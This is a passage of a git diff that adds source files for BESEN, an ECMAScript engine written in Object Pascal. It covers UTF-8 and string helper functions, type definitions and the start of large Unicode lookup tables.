result:=((byte(s[i]) and $03) shl 24) or ((byte(s[i+1]) and $3f) shl 18) or ((byte(s[i+2]) and $3f) shl 12) or ((byte(s[i+3]) and $3f) shl 6) or (byte(s[i+4]) and $3f); + inc(i,5); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + result:=((byte(s[i]) and $01) shl 30) or ((byte(s[i+1]) and $3f) shl 24) or ((byte(s[i+2]) and $3f) shl 18) or ((byte(s[i+3]) and $3f) shl 12) or ((byte(s[i+4]) and $3f) shl 6) or (byte(s[i+5]) and $3f); + inc(i,6); +{$endif} + end else begin + result:=$fffd; + inc(i); + end; +end; +{$endif} + +function BESENUTF8Pos(ToFindString,InString:TBESENUTF8STRING):longint; +var i,j,l:longint; + OK:boolean; +begin + result:=0; + i:=1; + while i<=length(InString) do begin + l:=i+length(ToFindString)-1; + if l>length(InString) then begin + exit; + end; + OK:=true; + for j:=1 to length(ToFindString) do begin + if InString[i+j-1]<>ToFindString[j] then begin + OK:=false; + break; + end; + end; + if OK then begin + result:=i; + exit; + end; + BESENUTF8Inc(InString,i); + end; +end; + +function BESENLowercase(const s:TBESENString):TBESENString; +var t:TBESENUTF32STRING; + i:longint; +begin + t:=BESENUTF16ToUTF32(s); + for i:=0 to length(t)-1 do begin + t[i]:=BESENUnicodeToLower(t[i]); + end; + result:=BESENUTF32ToUTF16(t); + SetLength(t,0); +end; + +function BESENUppercase(const s:TBESENString):TBESENString; +var t:TBESENUTF32STRING; + i:longint; +begin + t:=BESENUTF16ToUTF32(s); + for i:=0 to length(t)-1 do begin + t[i]:=BESENUnicodeToUpper(t[i]); + end; + result:=BESENUTF32ToUTF16(t); + SetLength(t,0); +end; + +function BESENJSONStringQuote(const s:TBESENString):TBESENString; +var i:longint; + c:word; +begin + result:='"'; + i:=1; + while i<=length(s) do begin + case s[i] of + '"','\':begin + result:=result+'\'+s[i]; + inc(i); + end; + #$0008:begin + result:=result+'\b'; + inc(i); + end; + #$0009:begin + result:=result+'\t'; + inc(i); + end; + #$000a:begin + result:=result+'\n'; + inc(i); + end; + #$000b:begin + result:=result+'\v'; + inc(i); + end; + #$000c:begin + result:=result+'\f'; + inc(i); + end; + #$000d:begin + result:=result+'\r'; + inc(i); + end; + #$0000..#$0007,#$000e..#$001f,#$007d..#$009f,#$00ad,#$0600..#$0604,#$070f,#$17b4,#$17b5,#$200c..#$200f,#$2028..#$202f,#$2060..#$206f,#$feff,#$fff0..#$ffff:begin + c:=word(widechar(s[i])); + result:=result+'\u'+BESENHexChars[false,(c shr 12) and $f]+BESENHexChars[false,(c shr 8) and $f]+BESENHexChars[false,(c shr 4) and $f]+BESENHexChars[false,c and $f]; + inc(i); + end; + else begin + result:=result+s[i]; + inc(i); + end; + end; + end; + result:=result+'"'; +end; + +function BESENIsHex(const v:word):boolean; +const IsCharHex:TBESENCharBitmap=($00,$00,$00,$00,$00,$00,$ff,$03,$7e,$00,$00,$00,$7e,$00,$00,$00); // [0-9a-fA-F] +begin + result:=(v<$80) and ((IsCharHex[(v shr 3) and $7f] and (1 shl (v and 7)))<>0); +end; + +procedure InitHexValues; +var i:longint; +begin + fillchar(BESENHexValues,sizeof(TBESENHexValues),#0); + for i:=0 to 15 do begin + BESENHexValues[word(widechar(BESENHexChars[false,i]))]:=i; + BESENHexValues[word(widechar(BESENHexChars[true,i]))]:=i; + end; +end; + +procedure InitBESEN; +begin +{$ifndef BESENSingleStringType} + InitBase64; +{$endif} + InitHexValues; +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. diff --git a/Core/JS/BESENTypes.pas b/Core/JS/BESENTypes.pas new file mode 100644 index 0000000..9a8dbd6 --- /dev/null +++ b/Core/JS/BESENTypes.pas @@ -0,0 +1,200 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENTypes; +{$i BESEN.inc} + +interface + +uses BESENConstants; + +type{$ifdef BESENSingleStringType} + TBESENCHAR=widechar; + + PBESENCHAR=pwidechar; +{$else} + TBESENCHAR=ansichar; + + PBESENCHAR=pansichar; +{$endif} + + TBESENWIDECHAR=widechar; + + PBESENWIDECHAR=pwidechar; + + PBESENByte=^byte; + +{$ifdef BESENSingleStringType} +{$ifdef BESENEmbarcaderoNextGen} + WideString=UnicodeString; +{$endif} +{$else} + TBESENANSISTRING=ansistring; + + TBESENUTF8STRING=TBESENANSISTRING; +{$endif} + + TBESENUTF16STRING=widestring; + + TBESENUTF32CHAR=longword; + + PBESENUTF32CHARS=^TBESENUTF32CHARS; + TBESENUTF32CHARS=array[0..($7fffffff div sizeof(TBESENUTF32CHAR))-1] of TBESENUTF32CHAR; + + TBESENUTF32STRING=array of TBESENUTF32CHAR; + +{$ifdef fpc} + {$undef OldDelphi} +{$else} + {$ifdef conditionalexpressions} + {$if CompilerVersion>=23.0} + {$undef OldDelphi} + qword=uint64; + ptruint=NativeUInt; + ptrint=NativeInt; + {$else} + {$define OldDelphi} + {$ifend} + {$else} + {$define OldDelphi} + {$endif} +{$endif} +{$ifdef OldDelphi} + qword=int64; +{$ifdef cpu64} + ptruint=qword; + ptrint=int64; +{$else} + ptruint=longword; + ptrint=longint; +{$endif} +{$endif} + + TBESENParsingNumberType={$ifdef HAS_TYPE_EXTENDED}extended{$else}double{$endif}; + + PBESENNumber=^TBESENNumber; + TBESENNumber=double; + + TBESENBoolean=longbool; + + TBESENDate=TBEsenNumber; + + PBESENString=^TBESENString; + TBESENString=TBESENUTF16STRING; + + TBESENINT16=smallint; + TBESENUINT16=word; + + PBESENINT32=^TBESENINT32; + TBESENINT32=longint; + + PBESENUINT32=^TBESENUINT32; + TBESENUINT32=longword; + + PBESENINT64=^TBESENINT64; + TBESENINT64=int64; + +{$ifdef fpc} + PBESENQWORD=^TBESENQWORD; + TBESENQWORD=qword; +{$endif} + + TBESENHash=TBESENUINT32; + + TBESENTarget=TBESENINT32; + + PBESENByteArray=^TBESENByteArray; + TBESENByteArray=array[0..$7fffffff-2] of byte; + + PBESENUINT32Array=^TBESENUINT32Array; + TBESENUINT32Array=array[0..($7fffffff div sizeof(TBESENUINT32))-1] of TBESENUINT32; + + PBESENINT32Array=^TBESENINT32Array; + TBESENINT32Array=array[0..($7fffffff div sizeof(TBESENUINT32))-1] of TBESENINT32; + + PBESENINT64Array=^TBESENINT64Array; + TBESENINT64Array=array[0..($7fffffff div sizeof(TBESENINT64))-1] of TBESENINT64; + + TBESENBytes=array of byte; + + TBESENIntegers=array of integer; + + TBESENUINT32s=array of TBESENUINT32; + + TBESENINT32s=array of TBESENINT32; + + TBESENNativeCodePCOffsets=array of pointer; + + TBESENRadixChars=array[0..35] of TBESENCHAR; + + TBESENLocation=record + LineNumber:integer; + end; + + PBESENDoubleHiLo=^TBESENDoubleHiLo; + TBESENDoubleHiLo=packed record +{$ifdef BIG_ENDIAN} + Hi,Lo:longword; +{$else} + Lo,Hi:longword; +{$endif} + end; + + TBESENLocations=array of TBESENLocation; + + TBESENStrings=array of TBESENString; + + TBESENWarningProc=procedure(LineNumber:integer;const Msg:TBESENSTRING) of object; + + TBESENTraceType=(bttNONE,bttSTATEMENT,bttCALL,bttRETURN,bttTHROW,bttDEBUGGER); + + TBESENCompatibilityMode=record + Name:TBESENString; + Flag:longword; + end; + + TBESENCompatibilityModes=array[0..3] of TBESENCompatibilityMode; + +{$ifdef BESENDelphiHasNoSystemTimeMore} + TSystemTime=record + wYear:word; + wMonth:word; + wDayOfWeek:word; + wDay:word; + wHour:word; + wMinute:word; + wSecond:word; + wMilliseconds:word; + end; +{$endif} + +implementation + +end. diff --git a/Core/JS/BESENUnicodeTables.pas b/Core/JS/BESENUnicodeTables.pas new file mode 100644 index 0000000..76a10f6 --- /dev/null +++ b/Core/JS/BESENUnicodeTables.pas @@ -0,0 +1,1274 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENUnicodeTables; +{$i BESEN.inc} + +interface + +const UnicodeXLut:array[0..1023] of byte=( + 0, 1, 2, 3, 4, 5, 6, 7, (* $0000 *) + 8, 9, 10, 11, 12, 13, 14, 15, (* $0200 *) + 16, 17, 18, 19, 20, 21, 22, 23, (* $0400 *) + 24, 25, 26, 27, 28, 28, 28, 28, (* $0600 *) + 28, 28, 28, 28, 29, 30, 31, 32, (* $0800 *) + 33, 34, 35, 36, 37, 38, 39, 40, (* $0A00 *) + 41, 42, 43, 44, 45, 46, 28, 28, (* $0C00 *) + 47, 48, 49, 50, 51, 52, 53, 28, (* $0E00 *) + 28, 28, 54, 55, 56, 57, 58, 59, (* $1000 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $1200 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $1400 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $1600 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $1800 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $1A00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $1C00 *) + 60, 60, 61, 62, 63, 64, 65, 66, (* $1E00 *) + 67, 68, 69, 70, 71, 72, 73, 74, (* $2000 *) + 75, 75, 75, 76, 77, 78, 28, 28, (* $2200 *) + 79, 80, 81, 82, 83, 83, 84, 85, (* $2400 *) + 86, 85, 28, 28, 87, 88, 89, 28, (* $2600 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $2800 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $2A00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $2C00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $2E00 *) + 90, 91, 92, 93, 94, 56, 95, 28, (* $3000 *) + 96, 97, 98, 99, 83, 100, 83, 101, (* $3200 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $3400 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $3600 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $3800 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $3A00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $3C00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $3E00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $4000 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $4200 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $4400 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $4600 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $4800 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $4A00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $4C00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $4E00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5400 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5600 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5800 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5A00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5C00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $5E00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6400 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6600 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6800 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6A00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6C00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $6E00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7400 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7600 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7800 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7A00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7C00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $7E00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8400 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8600 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8800 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8A00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8C00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $8E00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $9000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $9200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $9400 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $9600 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $9800 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $9A00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $9C00 *) + 56, 56, 56, 56, 56, 56, 102, 28, (* $9E00 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $A000 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $A200 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $A400 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $A600 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $A800 *) + 28, 28, 28, 28, 28, 28, 28, 28, (* $AA00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $AC00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $AE00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $B000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $B200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $B400 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $B600 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $B800 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $BA00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $BC00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $BE00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $C000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $C200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $C400 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $C600 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $C800 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $CA00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $CC00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $CE00 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $D000 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $D200 *) + 56, 56, 56, 56, 56, 56, 56, 56, (* $D400 *) + 56, 56, 56, 56, 56, 56, 103, 28, (* $D600 *) +104, 104, 104, 104, 104, 104, 104, 104, (* $D800 *) +104, 104, 104, 104, 104, 104, 104, 104, (* $DA00 *) +104, 104, 104, 104, 104, 104, 104, 104, (* $DC00 *) +104, 104, 104, 104, 104, 104, 104, 104, (* $DE00 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $E000 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $E200 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $E400 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $E600 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $E800 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $EA00 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $EC00 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $EE00 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $F000 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $F200 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $F400 *) +105, 105, 105, 105, 105, 105, 105, 105, (* $F600 *) +105, 105, 105, 105, 56, 56, 56, 56, (* $F800 *) +106, 28, 28, 28, 107, 108, 109, 110, (* $FA00 *) + 56, 56, 56, 56, 111, 112, 113, 114, (* $FC00 *) +115, 116, 56, 117, 118, 119, 120, 121); (* $FE00 *) + +UnicodeYLut:array[0..7807] of byte=( + 0, 0, 0, 0, 0, 0, 0, 0, (* 0 *) + 0, 1, 1, 1, 1, 1, 0, 0, (* 0 *) + 0, 0, 0, 0, 0, 0, 0, 0, (* 0 *) + 0, 0, 0, 0, 0, 0, 0, 0, (* 0 *) + 2, 3, 3, 3, 4, 3, 3, 3, (* 0 *) + 5, 6, 3, 7, 3, 8, 3, 3, (* 0 *) + 9, 9, 9, 9, 9, 9, 9, 9, (* 0 *) + 9, 9, 3, 3, 7, 7, 7, 3, (* 0 *) + 3, 10, 10, 10, 10, 10, 10, 10, (* 1 *) + 10, 10, 10, 10, 10, 10, 10, 10, (* 1 *) + 10, 10, 10, 10, 10, 10, 10, 10, (* 1 *) + 10, 10, 10, 5, 3, 6, 11, 12, (* 1 *) + 11, 13, 13, 13, 13, 13, 13, 13, (* 1 *) + 13, 13, 13, 13, 13, 13, 13, 13, (* 1 *) + 13, 13, 13, 13, 13, 13, 13, 13, (* 1 *) + 13, 13, 13, 5, 7, 6, 7, 0, (* 1 *) + 0, 0, 0, 0, 0, 0, 0, 0, (* 2 *) + 0, 0, 0, 0, 0, 0, 0, 0, (* 2 *) + 0, 0, 0, 0, 0, 0, 0, 0, (* 2 *) + 0, 0, 0, 0, 0, 0, 0, 0, (* 2 *) + 2, 3, 4, 4, 4, 4, 15, 15, (* 2 *) + 11, 15, 16, 5, 7, 8, 15, 11, (* 2 *) + 15, 7, 17, 17, 11, 16, 15, 3, (* 2 *) + 11, 18, 16, 6, 19, 19, 19, 3, (* 2 *) + 20, 20, 20, 20, 20, 20, 20, 20, (* 3 *) + 20, 20, 20, 20, 20, 20, 20, 20, (* 3 *) + 20, 20, 20, 20, 20, 20, 20, 7, (* 3 *) + 20, 20, 20, 20, 20, 20, 20, 16, (* 3 *) + 21, 21, 21, 21, 21, 21, 21, 21, (* 3 *) + 21, 21, 21, 21, 21, 21, 21, 21, (* 3 *) + 21, 21, 21, 21, 21, 21, 21, 7, (* 3 *) + 21, 21, 21, 21, 21, 21, 21, 22, (* 3 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 4 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 4 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 4 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 4 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 4 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 4 *) + 25, 26, 23, 24, 23, 24, 23, 24, (* 4 *) + 16, 23, 24, 23, 24, 23, 24, 23, (* 4 *) + 24, 23, 24, 23, 24, 23, 24, 23, (* 5 *) + 24, 16, 23, 24, 23, 24, 23, 24, (* 5 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 5 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 5 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 5 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 5 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 5 *) + 27, 23, 24, 23, 24, 23, 24, 28, (* 5 *) + 16, 29, 23, 24, 23, 24, 30, 23, (* 6 *) + 24, 31, 31, 23, 24, 16, 32, 32, (* 6 *) + 33, 23, 24, 31, 34, 16, 35, 36, (* 6 *) + 23, 24, 16, 16, 35, 37, 16, 38, (* 6 *) + 23, 24, 23, 24, 23, 24, 38, 23, (* 6 *) + 24, 39, 40, 16, 23, 24, 39, 23, (* 6 *) + 24, 41, 41, 23, 24, 23, 24, 42, (* 6 *) + 23, 24, 16, 40, 23, 24, 40, 40, (* 6 *) + 40, 40, 40, 40, 43, 44, 45, 43, (* 7 *) + 44, 45, 43, 44, 45, 23, 24, 23, (* 7 *) + 24, 23, 24, 23, 24, 23, 24, 23, (* 7 *) + 24, 23, 24, 23, 24, 16, 23, 24, (* 7 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 7 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 7 *) + 16, 43, 44, 45, 23, 24, 46, 46, (* 7 *) + 46, 46, 23, 24, 23, 24, 23, 24, (* 7 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 8 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 8 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 8 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 8 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 8 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 8 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 8 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 8 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 9 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 9 *) + 16, 16, 16, 47, 48, 16, 49, 49, (* 9 *) + 50, 50, 16, 51, 16, 16, 16, 16, (* 9 *) + 49, 16, 16, 52, 16, 16, 16, 16, (* 9 *) + 53, 54, 16, 16, 16, 16, 16, 54, (* 9 *) + 16, 16, 55, 16, 16, 16, 16, 16, (* 9 *) + 16, 16, 16, 16, 16, 16, 16, 16, (* 9 *) + 16, 16, 16, 56, 16, 16, 16, 16, (* 10 *) + 56, 16, 57, 57, 16, 16, 16, 16, (* 10 *) + 16, 16, 58, 16, 16, 16, 16, 16, (* 10 *) + 16, 16, 16, 16, 16, 16, 16, 16, (* 10 *) + 16, 16, 16, 16, 16, 16, 16, 16, (* 10 *) + 16, 46, 46, 46, 46, 46, 46, 46, (* 10 *) + 59, 59, 59, 59, 59, 59, 59, 59, (* 10 *) + 59, 11, 11, 59, 59, 59, 59, 59, (* 10 *) + 59, 59, 11, 11, 11, 11, 11, 11, (* 11 *) + 11, 11, 11, 11, 11, 11, 11, 11, (* 11 *) + 59, 59, 11, 11, 11, 11, 11, 11, (* 11 *) + 11, 11, 11, 11, 11, 11, 11, 46, (* 11 *) + 59, 59, 59, 59, 59, 11, 11, 11, (* 11 *) + 11, 11, 46, 46, 46, 46, 46, 46, (* 11 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 11 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 11 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 12 *) + 60, 60, 60, 60, 60, 60, 46, 46, (* 13 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 13 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 13 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 13 *) + 60, 60, 46, 46, 46, 46, 46, 46, (* 13 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 13 *) + 46, 46, 46, 46, 3, 3, 46, 46, (* 13 *) + 46, 46, 59, 46, 46, 46, 3, 46, (* 13 *) + 46, 46, 46, 46, 11, 11, 61, 3, (* 14 *) + 62, 62, 62, 46, 63, 46, 64, 64, (* 14 *) + 16, 20, 20, 20, 20, 20, 20, 20, (* 14 *) + 20, 20, 20, 20, 20, 20, 20, 20, (* 14 *) + 20, 20, 46, 20, 20, 20, 20, 20, (* 14 *) + 20, 20, 20, 20, 65, 66, 66, 66, (* 14 *) + 16, 21, 21, 21, 21, 21, 21, 21, (* 14 *) + 21, 21, 21, 21, 21, 21, 21, 21, (* 14 *) + 21, 21, 16, 21, 21, 21, 21, 21, (* 15 *) + 21, 21, 21, 21, 67, 68, 68, 46, (* 15 *) + 69, 70, 38, 38, 38, 71, 72, 46, (* 15 *) + 46, 46, 38, 46, 38, 46, 38, 46, (* 15 *) + 38, 46, 23, 24, 23, 24, 23, 24, (* 15 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 15 *) + 73, 74, 16, 40, 46, 46, 46, 46, (* 15 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 15 *) + 46, 75, 75, 75, 75, 75, 75, 75, (* 16 *) + 75, 75, 75, 75, 75, 46, 75, 75, (* 16 *) + 20, 20, 20, 20, 20, 20, 20, 20, (* 16 *) + 20, 20, 20, 20, 20, 20, 20, 20, (* 16 *) + 20, 20, 20, 20, 20, 20, 20, 20, (* 16 *) + 20, 20, 20, 20, 20, 20, 20, 20, (* 16 *) + 21, 21, 21, 21, 21, 21, 21, 21, (* 16 *) + 21, 21, 21, 21, 21, 21, 21, 21, (* 16 *) + 21, 21, 21, 21, 21, 21, 21, 21, (* 17 *) + 21, 21, 21, 21, 21, 21, 21, 21, (* 17 *) + 46, 74, 74, 74, 74, 74, 74, 74, (* 17 *) + 74, 74, 74, 74, 74, 46, 74, 74, (* 17 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 17 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 17 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 17 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 17 *) + 23, 24, 15, 60, 60, 60, 60, 46, (* 18 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 18 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 18 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 18 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 18 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 18 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 18 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 18 *) + 40, 23, 24, 23, 24, 46, 46, 23, (* 19 *) + 24, 46, 46, 23, 24, 46, 46, 46, (* 19 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 19 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 19 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 19 *) + 23, 24, 23, 24, 46, 46, 23, 24, (* 19 *) + 23, 24, 23, 24, 23, 24, 46, 46, (* 19 *) + 23, 24, 46, 46, 46, 46, 46, 46, (* 19 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 20 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 20 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 20 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 20 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 20 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 20 *) + 46, 76, 76, 76, 76, 76, 76, 76, (* 20 *) + 76, 76, 76, 76, 76, 76, 76, 76, (* 20 *) + 76, 76, 76, 76, 76, 76, 76, 76, (* 21 *) + 76, 76, 76, 76, 76, 76, 76, 76, (* 21 *) + 76, 76, 76, 76, 76, 76, 76, 46, (* 21 *) + 46, 59, 3, 3, 3, 3, 3, 3, (* 21 *) + 46, 77, 77, 77, 77, 77, 77, 77, (* 21 *) + 77, 77, 77, 77, 77, 77, 77, 77, (* 21 *) + 77, 77, 77, 77, 77, 77, 77, 77, (* 21 *) + 77, 77, 77, 77, 77, 77, 77, 77, (* 21 *) + 77, 77, 77, 77, 77, 77, 77, 16, (* 22 *) + 46, 3, 46, 46, 46, 46, 46, 46, (* 22 *) + 46, 60, 60, 60, 60, 60, 60, 60, (* 22 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 22 *) + 60, 60, 46, 60, 60, 60, 60, 60, 